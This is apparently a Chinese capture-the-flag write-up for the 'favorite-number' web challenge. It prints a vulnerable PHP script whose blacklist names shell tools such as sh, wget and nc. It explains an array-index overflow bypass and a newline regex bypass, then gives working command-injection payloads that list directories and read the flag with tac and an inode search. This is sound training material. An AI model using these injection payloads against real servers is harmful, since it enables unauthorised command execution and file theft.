攻防世界: web favorite-number
阿新 • • 發佈:2021-09-06
目錄
題目剖析
這是一道PHP程式碼審計題目
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
通過程式碼審計,可以觀察到以下資訊:
- PHP版本5.5.9
- 存在陣列強型別比較
- 存在過濾num的POST注入
- ^和$ 匹配字串開頭和結尾
- /d 匹配數字
- /i 表示匹配的時候不區分大小寫
- /m 表示多行匹配。
所以我們可以得出,在進行POST注入num的時候,需要首位一定是數字,並且要繞過多行匹配
- 黑名單機制
漏洞分析
- PHP版本5.5存在陣列溢位漏洞
即如果是32位的操作處理,那麼陣列最大值是232-1=4294967295=1111 1111 1111 1111 1111 1111 1111 1111。如果加1,那麼就會變成1 0000 0000 0000 0000 0000 0000 0000 0000,因為是32位,只保留後32位,前面的1將被捨棄,陣列重新歸零。
所以按照此題目的stuff[4294967295]=stuff[0]
那麼就可以重新進行post注入,按照這個強型別比較又要求$stuff[0] != 'admin'
可以書寫payload:stuff[4294967296]=admin&stuff[1]=user
這樣可以繞過第一個if判斷 - num的換行匹配漏洞
普通換行無法達成命令的注入,可以用%0a
進行替代 - 黑名單機制漏洞
使用黑名單最大的壞處就是黑名單不全
可以使用tac實現和cat效果完全相反的反向讀取
可以使用iNode節點讀取flag檔案
注入payload
所以我們可以分別注入payload為:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
!
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 33043719
本文來自部落格園,作者:{Zeker62},轉載請註明原文連結:https://www.cnblogs.com/Zeker62/p/15232412.html